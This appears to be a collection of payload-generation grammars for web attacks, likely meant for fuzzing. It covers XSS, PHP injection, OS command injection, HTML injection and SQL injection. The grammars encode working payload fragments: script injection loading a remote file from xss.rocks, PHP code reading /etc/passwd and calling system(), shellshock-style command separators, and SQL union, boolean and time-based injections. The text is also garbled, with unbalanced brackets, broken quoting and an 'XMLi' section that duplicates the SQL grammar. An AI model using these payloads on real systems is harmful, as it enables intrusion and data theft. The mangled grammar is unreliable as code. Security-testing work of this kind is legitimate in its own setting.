

# XSS Grammer

```
'root': (('directContext'),('attributeContext'),('eventContext')),
'directContext': (('pre', 'leftScriptLabel', 'jsString', 'rightScriptLabel')),
'attributeContext': (('terDQuote', 'wsp', 'srcAttr', 'terEqual', 'jsStatement',
'wsp'),
                    ('pre', 'terLess',
'aTag', 'wsp', 'herfAttr', 'terEqual', 'jsStatement',
                    'wsp', 'terGreater', 'rightALabel'),
                    ('pre', 'terLess', 'iframeTag', 'wsp', 'srcAttr',
'terEqual',                    'jsStatement', 'wsp', 'terGreater')),
                    ('pre', 'terLess', 'scriptTag', 'wsp', 'srcAttr',
'terEqual',                    'jsFile', 'wsp', 'terGreater',
'rightScriptLabel')),
'eventContext': (('terDQuote', 'wsp', 'eventStatement', 'wsp'),
                ('pre', 'terLess', 'tagAttr', 'wsp', 'eventStatement', 'wsp',
'terGreater'))),

'terDQuote': (('\"')),
'terSQuote': (('\'')),
'terLess': (('<')),
'terGreater': (('>')),
'terEqual': (('=')),
'terBlank': (('[blank]'),('%20')),
'terSolidus': (('"/'),('%2f')),
'terAdd': (('+')),
'terTab': (('\'%09')),
'terLF': (('\'%0A')),
'terFF': (('\'%0C')),
'terCR': (('\'%0D')),

'pre': (('terDQuote', 'terGreater'),
        ('tersQuote', 'terGreater'),
        ('terGreater'),
        ('terBlank')),
'wsp': (('terBlank'),
        ('terSolidus'),
        ('terAdd'),
        ('terTab'),
        ('terLF'),
        ('terFF'),
        ('terCR')),
'leftScriptLabel': (('terLess', 'scriptTag', 'terGreater')),
'rightScriptLabel': (('terLess', 'terSolidus', 'scriptTag', 'terGreater')),
'rightALabel': (('terLess', 'terSolidus', 'aTag', 'terGreater')),
'scriptTag': (('chars', 'charC', 'charR', 'charI', 'charP', 'charT')),
'aTag': (('charA')),
'iframeTag': (('charI', 'charF', 'charR', 'charA', 'charM', 'charE')),
'srcAttr': (('charS', 'charR', 'charC')),
'herfAttr': (('charH', 'charE', 'charR', 'charF')),
'tagAttr': (()),
'jsString': (('alert(1)'),
             ('%61%6c%65%72%74%28%31%29'),
             ('&#x61;&#6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;'),
             ('&#97;&#108;&#101;&#114;&#116;&#40;&#57;&#41;&#59'))),
```

```

'jsFile': (('http://xss.rocks/xss.js'),

('%68%74%74%70%3A%2F%78%73%73%2E%72%6F%63%6B%73%2F%78%73%73%2E%6A%73'),

('&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x78;&#x73;&#x73;&#x2E;&#x72;\
#&#x6F;&#x63;&#x6B;&#x73;&#x2F;&#x78;&#x73;&#x73;&#x2E;&#x6A;&#x73;'),

('&#104&#116&#116&#112&#58&#47&#47&#120&#115&#115&#46&#114&#111&#99&#107&#115\
#&#47&#120&#115&#115&#46&#106&#115')),
'jsStatement': (('javascript:', 'jsString'),
('%6A%61%76%61%73%63%72%69%70%74%3A', 'jsString'),

('&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;',
'jsString'),
('&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58',
'jsString')),
'eventStatement': (('eventAttr', 'terEqual', 'jsString')),
'eventAttr': (),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('l'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'charO': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'chars': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charX': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charZ': (('z'), ('%7a'), ('%5a')),
eventHandle = ['oncut', 'onblur', 'oncopy', 'ondrag', 'ondrop', 'onhelp',
'onload',
'onplay', 'onshow', 'onabort', 'onclick',
'onclose', 'onended', 'onerror',
'onfocus', 'oninput',
'onkeyup', 'onpaste', 'onpause', 'onreset', 'onwheel',
'onbounce',
'oncancel', 'onchange', 'onfinish', 'ononline', 'onresize',
'onscroll', 'onsearch', 'onseeked', 'onselect', 'onsubmit', 'ontoggle',

```

```

        'onunload', 'oncanplay', 'ondragend', 'onemptied', 'onfocusin',
        'oninvalid', 'onkeydown', 'onmessage', 'onmouseup',
'onoffline',                                'onplaying', 'onseeking', 'onstalled',
'onstorage', 'onsuspend',                                'onwaiting', 'onactivate',
'ondblclick', 'ondragover', 'onfocusout',
    'onkeypress', 'onmouseout', 'onpagehide', 'onpageshow', 'onpopstate',
        'onprogress', 'ontouchend', 'onbeforecut', 'oncuechange',
'ondragenter',                                'ondragleave', 'ondragstart', 'onloadstart',
'onmousedown', 'onmousemove',                                'onmouseover',
'ontouchmove', 'onafterprint', 'onbeforecopy', 'ongestureend',
        'onhashchange', 'onloadeddata', 'onmouseenter', 'onmouseleave',
        'onmousewheel', 'onratechange', 'ontimeupdate',
'ontouchstart',                                'onafterupdate', 'onbeforepaste',
'onbeforeprint', 'oncontextmenu',
        'ondevicelight', 'onmspointerup', 'ontouchcancel',
'onanimationend',                                'onautocomplete', 'onbeforeunload',
'onbeforeupdate', 'ondevicemotion',                                'ongesturestart',
'onmsgestureend', 'onmsgesturetap', 'onmspointerout',
'onvolumechange', 'oncontrolselect', 'ongesturechange', 'onmsgesturehold',
        'onmspointerdown', 'onmspointermove',
'onmspointerover', 'ontransitionend',
        'onuserproximity', 'onanimationstart', 'onbeforeactivate',
        'oncanplaythrough',
'ondurationchange', 'onlanguagechange',
'onloadedmetadata', 'onmsgesturestart', 'onmsinertiastart',
        'onmspointerenter', 'onmspointerhover', 'onmspointerleave',
        'onbeforeeditfocus', 'ondeviceproximity', 'onmsgesturechange',
        'onmspointercancel', 'onbeforedeactivate', 'onreadystatechange',
        'onautocompleteerror', 'ondeviceorientation',
'onorientationchange',                                'onanimationiteration',
'onmozfullscreenerror', 'onmsgesturedoubletap',
'onwebkitanimationend', 'onwebkitmouseforceup', 'onmozfullscreenchange',
        'onmozpointerlockerror',
'onwebkittransitionend', 'onmozpointerlockchange',
'onwebkitanimationstart',
        'onwebkitmouseforcedown', 'onwebkitwillrevealbottom',
        'oncompassneedscaleibration', 'onwebkitmouseforcechanged',
        'onwebkitanimationiteration',
'onwebkitmouseforcewillbegin']
tagHandle = ['a', 'b', 'i', 'p', 'q', 's', 'u', 'br', 'dd', 'dl', 'dt', 'em',
'h1', 'h2',                                'h3', 'h4', 'h5', 'h6', 'hr', 'li', 'ol', 'rp', 'rt',
'td', 'th', 'tr', 'tt',                                'ul', 'bdi', 'bdo', 'big', 'col', 'del',
'dfn', 'dir', 'div', 'img', 'ins',                                'kbd', 'map', 'nav', 'pre',
'sub', 'sup', 'svg', 'var', 'wbr', 'xmp', 'abbr',                                'area', 'base',
'body', 'cite', 'code', 'font', 'form', 'head', 'html',                                'link',
'main', 'mark', 'menu', 'meta', 'ruby', 'samp', 'span', 'time',
'aside', 'audio', 'embed', 'frame', 'image', 'input', 'label', 'meter',
    'param', 'small', 'style', 'table', 'tbody', 'tfoot', 'thead',
'title',
        'track', 'video', 'applet', 'button', 'canvas', 'center',
'dialog', 'figure',                                'footer', 'header', 'iframe', 'keygen', 'legend',
'object', 'option',                                'output', 'script', 'select', 'source',
'strike', 'strong', 'acronym',                                'address', 'article',
'caption', 'details', 'isindex', 'listing', 'marquee',
        'section', 'summary', 'basefont', 'colgroup', 'datalist',
'fieldset',                                'frameset', 'menuitem', 'noframes', 'noscript',
'optgroup', 'progress',                                'textarea', 'plaintext',
'blockquote', 'figcaption']

```

# PHPi Grammer

```
'root': (('evalContext'),
        ('createFunctionContext'),
        ('replaceContext'),
        ('serializeContext')),
'evalContext': (('attack'),
                ('addslashesOpen', 'attack', 'addslashes')),
'createFunctionContext': (('terDigitZero', 'functionClose', 'attack')),
'replaceContext': (('getPre', 'addslashesOpen', 'attack', 'addslashes'),
                  ('noGetPre', 'addslashesOpen', 'attack', 'addslashes')),
'serializeContext': (('serializePre', 'serializePost')),
'addslashesOpen': (('char#', 'char{', 'char#', 'char{')),
'addslashes': (('char}', 'char}')),
'terDigitZero': (('0')),
'functionClose': (('char)', ';', 'char}')),
'serializePre': (('oorC', 'maohao', '[terDigitExcludingZero]', 'maohao',
                 'var')),
'serializePost': (('char{', 'zimu', 'maohao', '[terDigitExcludingZero]',
                  'maohao', 'attack')),
'oorC': (('charo'),
        ('charc')),
'maohao': ((':')),
'attack': (('phpPre', 'phpinfo()', 'phpPost'),
          ('phpPre', 'echo[blank]"what"', 'phpPost'),
          ('phpPre', '$fp = fopen("/etc/passwd","r");$result = fread($fp,8192);
          echo[blank]$result', 'phpPost'),
          ('phpPre', "system('\"shell\"','')", 'phpPost'),
          ('phpPre', "exec('\"shell\"','')", 'phpPost')),
'phpPre': (('char<', '?', 'charP', 'charH', 'charP', 'wsp'), ('')),
'phpPost': (('wsp', '?', 'char>'), ('')),
'shell': (('bin/cat', 'wsp', 'content'), ('usr/bin/tail', 'wsp', 'content'),
          ('usr/bin/wget', 'wsp', '127.0.0.1'), ('usr/bin/who'),
          ('usr/bin/whoami'), ('usr/local/bin/bash'),
          ('usr/local/bin/curl', 'wsp', '127.0.0.1'), ('usr/local/bin/nmap'),
          ('usr/local/bin/python'), ('usr/local/bin/ruby'),
          ('usr/local/bin/wget'),
          ('usr/bin/nice'), ('usr/bin/less'),
          ('usr/bin/more'),
          ('ping', 'wsp', '127.0.0.1'), ('sleep', 'wsp', '1'),
          ('ls'), ('ifconfig'),
          ('netstat'),
          ('systeminfo'), ('which', 'wsp', 'curl')),
'command': ((''), ('/etc/passwd'), ('/etc/shadow')),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b'))
```

```

'charL': (('l'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'charO': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'chars': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charX': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charZ': (('z'), ('%7a'), ('%5a'))

```

## OS Command Injection Grammer

```

'root': (('pre', 'shell', 'post')),
'pre': (('var', 'post')),
'var': ((''), ('0')),
'post': ((';', ('|'), ('||'), ('\n'), ('%0a'), ('""'), (')'), (');'), ('&'),
('$'),
('() { :;};')),
'shell': (('bin/cat', 'wsp', 'content'),
('usr/bin/tail', 'wsp', 'content'),
('usr/bin/wget', 'wsp', '127.0.0.1'),
('usr/bin/who'), ('usr/bin/whoami'), ('usr/local/bin/bash'),
('usr/local/bin/curl' 'wsp', '127.0.0.1'),
('usr/local/bin/nmap'),
('usr/local/bin/python'), ('usr/local/bin/ruby'),
('usr/local/bin/wget'),
('usr/bin/nice'), ('usr/bin/less'), ('usr/bin/more'),
('ping', 'wsp', '127.0.0.1'),
('sleep', 'wsp', '1'),
('ls'), ('ifconfig'), ('netstat'),
('systeminfo'), ('which', 'wsp', 'curl')),
'command': ((''), ('/etc/passwd'), ('/etc/shadow')),
'wsp': ((' [blank]'), ('%20')),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('l'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'charO': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),

```

```
'charR': (('r'), ('%72'), ('%52')),
'chars': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charX': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charZ': (('z'), ('%7a'), ('%5a'))
```

## HTMLi Grammer

```
'root': (('iframe'),
        ('img'),
        ('form'),
        ('a'),
        ('video'),
        ('embed')),
'iframe': (('terLess', 'iframeTag', 'wsp', 'srcAttr', 'terEqual', 'jsStatement',
              'wsp', 'terGreater')),
'img': (('terLess', 'iframeImg', 'wsp', 'srcAttr', 'terEqual', 'jsStatement',
              'wsp', 'terGreater')),
'form': (('terLess', 'iframeForm', 'wsp', 'actionAttr', 'terEqual',
              'jsStatement', 'wsp',
              'methodAttr', 'terEqual', 'methodContent', 'wsp', 'terGreater')),
'a': (('terLess', 'aTag', 'wsp', 'herfAttr', 'terEqual', 'jsStatement',
              'wsp', 'terGreater', 'rightALabel')),
'video': (('terLess', 'iframeVideo', 'wsp', 'srcAttr', 'terEqual',
              'jsStatement',
              'wsp', 'terGreater')),
'embed': (('terLess', 'iframeEmbed', 'wsp', 'srcAttr', 'terEqual',
              'jsStatement',
              'wsp', 'terGreater')),
'iframeTag': (('charI', 'charF', 'charR', 'charA', 'charM', 'charE')),
'iframeImg': (('charI', 'charM', 'charG')),
'actionAttr': (('charA', 'charC', 'charT', 'charI', 'charO', 'charN')),
'methodAttr': (('charM', 'charE', 'charT', 'charH', 'charO', 'charD')),
'methodContent': (('charG', 'charE', 'charT'), ('charP', 'charO', 'charS',
              'charT')),
'aTag': (('charA')),
'herfAttr': (('charH', 'charE', 'charR', 'charF')),
'tagAttr': (),
'rightALabel': (('terLess', 'terSolidus', 'aTag', 'terGreater')),
'iframeVideo': (('charV', 'charI', 'charD', 'charE', 'charO')),
'iframeEmbed': (('charE', 'charM', 'charB', 'charE', 'charD')),
'wsp': (('terBlank'),
        ('terSolidus'),
        ('terAdd'),
        ('terTab'),
        ('terLF'),
        ('terFF'),
        ('terCR')),
'srcAttr': (('chars', 'charR', 'charC')),
'jsStatement': (('javascript:', 'jsString'),
                ('%6A%61%76%61%73%63%72%69%70%74%3A', 'jsString'))
```

```

('j#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3A;',
  'jsString'),
  ('&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58',
    'jsString')),
'terDQuote': (('\"')),
'terSQuote': (('\'')),
'terLess': (('char<')),
'terGreater': (('>')),
'terEqual': (('=')),
'terBlank': (('[blank]'),('%20')),
'terSolidus': (('/''),('%2F')),
'terAdd': (('+')),
'terTab': (('\'%09')),
'terLF': (('\'%0A')),
'terFF': (('\'%0C')),
'terCR': (('\'%0D')),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('l'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'charO': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'chars': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charX': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charZ': (('z'), ('%7a'), ('%5a'))

```

## XMLi Grammer

```

'root': (('numericContext'),
  ('sQuoteContext'),
  ('dQuoteContext')),
'numericContext': (('terDigitZero', 'wsp', 'booleanAttack', 'wsp'),
  ('terDigitZero', 'par', 'wsp', 'booleanAttack', 'wsp',
    'opOr', 'parOpen', 'terDigitZero'),
  ('terDigitZero', 'par', 'wsp', 'sqliAttack', 'cmt')),
'sQuoteContext': (('tersQuote', 'wsp', 'booleanAttack', 'wsp', 'opOr',
  'tersQuote'),

```

```

        ('tersQuote', 'par', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'parOpen',
        'tersQuote'),
        ('tersQuote', 'par', 'wsp', 'sqliAttack', 'cmt')),
'dquoteContext': (('terDQuote', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'terDQuote'),
        ('terDQuote', 'par', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'parOpen',
        'terDQuote'),
        ('terDQuote', 'par', 'wsp', 'sqliAttack', 'cmt')),
'sqliAttack': (('unionAttack'),
        ('piggyAttack'),
        ('booleanAttack')),
'piggyAttack': (('opSem', 'opSel', 'wsp', 'funcsleep')),
'cols': (('terDigitZero')),
'unionPostfix': (('all", 'wsp'),
        ("distinct", 'wsp')),
'unionConf': (('opUni'),
        ('/*!', "50000", 'opUni', '*/')),
'unionAttack': (('unionConf', 'wsp', 'unionPostfix', 'opSel', 'wsp', 'cols'),
        ('unionConf', 'wsp', 'unionPostfix', 'parOpen', 'opSel', 'wsp',
'cols',
        'par')),
'falseConst': (('false')),
'falseAtom': (('wsp', 'falseConst'),
        ('wsp', 'terDigitZero'),
        ('tersQuote', 'tersQuote')),
'unaryFalse': (('falseAtom'),
        ('wsp', 'opNot', 'wsp', 'trueAtom'),
        ('wsp', 'opNot', 'opBinInvert', 'falseAtom')),
'booleanFalseExpr': (('unaryFalse')),
'orAttack': (('opOr', 'booleanTrueExpr')),
'andAttack': (('opAnd', 'booleanFalseExpr')),
'booleanAttack': (('orAttack'),
        ('andAttack')),
'trueConst': (('true')),
'trueAtom': (('trueConst'),
        ('terDigitOne')),
'unaryTrue': (('wsp', 'trueAtom'),
        ('wsp', 'opNot', 'wsp', 'falseAtom'),
        ('opBinInvert', 'wsp', 'falseAtom')),
'binaryTrue': (('unaryTrue', 'opEqual', 'wsp', 'parOpen', 'unaryTrue', 'par'),
        ('unaryFalse', 'opEqual', 'wsp', 'parOpen', 'unaryFalse', 'par'),
        ('tersQuote', 'terChar', 'tersQuote', 'opEqual', 'tersQuote',
'terChar',
        'tersQuote'),
        ('terDQuote', 'terChar', 'terDQuote', 'opEqual', 'terDQuote',
'terChar',
        'terDQuote'),
        ('unaryFalse', 'opLt', 'parOpen', 'unaryTrue', 'par'),
        ('unaryTrue', 'opGt', 'parOpen', 'unaryFalse', 'par'),
        ('wsp', 'trueAtom', 'wsp', 'opLike', 'wsp', 'trueAtom'),
        ('unaryTrue', 'wsp', 'opIs', 'wsp', 'trueConst'),
        ('unaryFalse', 'wsp', 'opIs', 'wsp', 'falseConst'),
        ('unaryTrue', 'opMinus', 'parOpen', 'unaryFalse', 'par')),
'booleanTrueExpr': (('unaryTrue'),
        ('binaryTrue')),
'inlineCmt': (('/**/')),
'blank': ((' [blank]')),
'wsp': (('blank'),
        ('inlineCmt')),
'par': ((''))),
'cmt': ((' #'), ('--', 'blank')),

```



```

'parOpen': (( '(' ),
'funcSleep': (('sleep', 'parOpen', '[terDigitExcludingZero]', 'par')),
'opNot': (('!', 'not')),
'opBinInvert': (('~')),
'opEqual': (('=')),
'opLt': (('<')),
'opGt': (('>')),
'opLike': (('like')),
'opIs': (('is')),
'opMinus': (('-')),
'opOr': (('or', '||')),
'opAnd': (('and', '&')),
'opSel': (('select')),
'opUni': (('union')),
'opSem': ((';')),
'terSQuote': (('\'')),
'terDQuote': (('\"')),
'terDigitZero': (('0')),
'terDigitOne': (('1')),
'terDigitExcludingZero': (('1', '2', '3', '4', '5', '6', '7',
('8', '9')),
'terDigitIncludingZero': (('0', '1', '2', '3', '4', '5', '6',
('7', '8',
('9')),
'terChar': (('a')),
'charA': (('a', '%61', '%41')),
'charB': (('b', '%62', '%42')),
'charC': (('c', '%63', '%43')),
'charD': (('d', '%64', '%44')),
'charE': (('e', '%65', '%45')),
'charF': (('f', '%66', '%46')),
'charG': (('g', '%67', '%47')),
'charH': (('h', '%68', '%48')),
'charI': (('i', '%69', '%49')),
'charJ': (('j', '%6a', '%4a')),
'charK': (('k', '%6b', '%4b')),
'charL': (('l', '%6c', '%4c')),
'charM': (('m', '%6d', '%4d')),
'charN': (('n', '%6e', '%4e')),
'charO': (('o', '%6f', '%4f')),
'charP': (('p', '%70', '%50')),
'charQ': (('q', '%71', '%51')),
'charR': (('r', '%72', '%52')),
'chars': (('s', '%73', '%53')),
'charT': (('t', '%74', '%54')),
'charU': (('u', '%75', '%55')),
'charV': (('v', '%76', '%56')),
'charW': (('w', '%77', '%57')),
'charX': (('x', '%78', '%58')),
'charY': (('y', '%79', '%59')),
'charZ': (('z', '%7a', '%5a'))

```

## SQL i Grammer

```

'root': (('numericContext',
('sQuoteContext',
('dQuoteContext')),

```

```

'numericContext': (('terDigitZero', 'wsp', 'booleanAttack', 'wsp'),
                   ('terDigitZero', 'par', 'wsp', 'booleanAttack', 'wsp',
'opOr',
                   'parOpen', 'terDigitZero'),
                   ('terDigitZero', 'par', 'wsp', 'sqlAttack', 'cmt'))),
'squoteContext': (('tersQuote', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'tersQuote'),
                   ('tersQuote', 'par', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'parOpen',
                   'tersQuote'),
                   ('tersQuote', 'par', 'wsp', 'sqlAttack', 'cmt'))),
'dquoteContext': (('terDQuote', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'terDQuote'),
                   ('terDQuote', 'par', 'wsp', 'booleanAttack', 'wsp', 'opOr',
'parOpen',
                   'terDQuote'),
                   ('terDQuote', 'par', 'wsp', 'sqlAttack', 'cmt'))),
'sqlAttack': (('unionAttack'),
               ('piggyAttack'),
               ('booleanAttack'))),
'piggyAttack': (('opSem', 'opSel', 'wsp', 'funcSleep')),
'cols': (('terDigitZero')),
'unionPostfix': (('all", 'wsp'),
                 ("distinct", 'wsp')),
'unionConf': (('opUni'),
               ('/*!', "50000", 'opUni', '*/')),
'unionAttack': (('unionConf', 'wsp', 'unionPostfix', 'opSel', 'wsp', 'cols'),
                 ('unionConf', 'wsp', 'unionPostfix', 'parOpen', 'opSel', 'wsp',
'cols',
                 'par'))),
'falseConst': (('false')),
'falseAtom': (('wsp', 'falseConst'),
               ('wsp', 'terDigitZero'),
               ('tersQuote', 'tersQuote')),
'unaryFalse': (('falseAtom'),
               ('wsp', 'opNot', 'wsp', 'trueAtom'),
               ('wsp', 'opNot', 'opBinInvert', 'falseAtom')),
'booleanFalseExpr': (('unaryFalse')),
'orAttack': (('opOr', 'booleanTrueExpr')),
'andAttack': (('opAnd', 'booleanFalseExpr')),
'booleanAttack': (('orAttack'),
                  ('andAttack')),
'trueConst': (('true')),
'trueAtom': (('trueConst'),
              ('terDigitOne')),
'unaryTrue': (('wsp', 'trueAtom'),
              ('wsp', 'opNot', 'wsp', 'falseAtom'),
              ('opBinInvert', 'wsp', 'falseAtom')),
'binaryTrue': (('unaryTrue', 'opEqual', 'wsp', 'parOpen', 'unaryTrue', 'par'),
               ('unaryFalse', 'opEqual', 'wsp', 'parOpen', 'unaryFalse', 'par'),
               ('tersQuote', 'terChar', 'tersQuote', 'opEqual', 'tersQuote',
'terChar',
               'tersQuote'),
               ('terDQuote', 'terChar', 'terDQuote', 'opEqual', 'terDQuote',
'terChar',
               'terDQuote'),
               ('unaryFalse', 'opLt', 'parOpen', 'unaryTrue', 'par'),
               ('unaryTrue', 'opGt', 'parOpen', 'unaryFalse', 'par'),
               ('wsp', 'trueAtom', 'wsp', 'opLike', 'wsp', 'trueAtom'),
               ('unaryTrue', 'wsp', 'opIs', 'wsp', 'trueConst'),
               ('unaryFalse', 'wsp', 'opIs', 'wsp', 'falseConst'),
               ('unaryTrue', 'opMinus', 'parOpen', 'unaryFalse', 'par')),
'booleanTrueExpr': (('unaryTrue'),
                    ('binaryTrue')),

```

```
'inlineCmt': (('/**/')),
'blank': (('[blank]')),
'wsp': (('blank'),
        ('inlineCmt')),
'par': (('()')),
'cmt': (('','#'),('--', 'blank')),
'parOpen': (('(')),
'funcSleep': (('sleep', 'parOpen', '[terDigitExcludingZero]', 'par')),
'opNot': (('!'),('not')),
'opBinInvert': (('~')),
'opEqual': (('="')),
'opLt': (('<')),
'opGt': (('>')),
'opLike': (('like')),
'opIs': (('is')),
'opMinus': (('-'')),
'opOr': (('or'),('||')),
'opAnd': (('and'),('&&')),
'opSel': (('select')),
'opUni': (('union')),
'opSem': ((';"')),
'terSQuote': ((''')),
'terDQuote': (('\"')),
'terDigitZero': (('0')),
'terDigitOne': (('1')),
'terDigitExcludingZero': (('1'), ('2'), ('3'), ('4'), ('5'), ('6'), ('7'),
('8'), ('9')),
'terDigitIncludingZero': (('0'), ('1'), ('2'), ('3'), ('4'), ('5'), ('6'),
('7'), ('8'), ('9')),
'terChar': (('a')),
'charA': (('a'), ('%61'), ('%41')),
'charB': (('b'), ('%62'), ('%42')),
'charC': (('c'), ('%63'), ('%43')),
'charD': (('d'), ('%64'), ('%44')),
'charE': (('e'), ('%65'), ('%45')),
'charF': (('f'), ('%66'), ('%46')),
'charG': (('g'), ('%67'), ('%47')),
'charH': (('h'), ('%68'), ('%48')),
'charI': (('i'), ('%69'), ('%49')),
'charJ': (('j'), ('%6a'), ('%4a')),
'charK': (('k'), ('%6b'), ('%4b')),
'charL': (('l'), ('%6c'), ('%4c')),
'charM': (('m'), ('%6d'), ('%4d')),
'charN': (('n'), ('%6e'), ('%4e')),
'charO': (('o'), ('%6f'), ('%4f')),
'charP': (('p'), ('%70'), ('%50')),
'charQ': (('q'), ('%71'), ('%51')),
'charR': (('r'), ('%72'), ('%52')),
'charS': (('s'), ('%73'), ('%53')),
'charT': (('t'), ('%74'), ('%54')),
'charU': (('u'), ('%75'), ('%55')),
'charV': (('v'), ('%76'), ('%56')),
'charW': (('w'), ('%77'), ('%57')),
'charX': (('x'), ('%78'), ('%58')),
'charY': (('y'), ('%79'), ('%59')),
'charZ': (('z'), ('%7a'), ('%5a'))
```

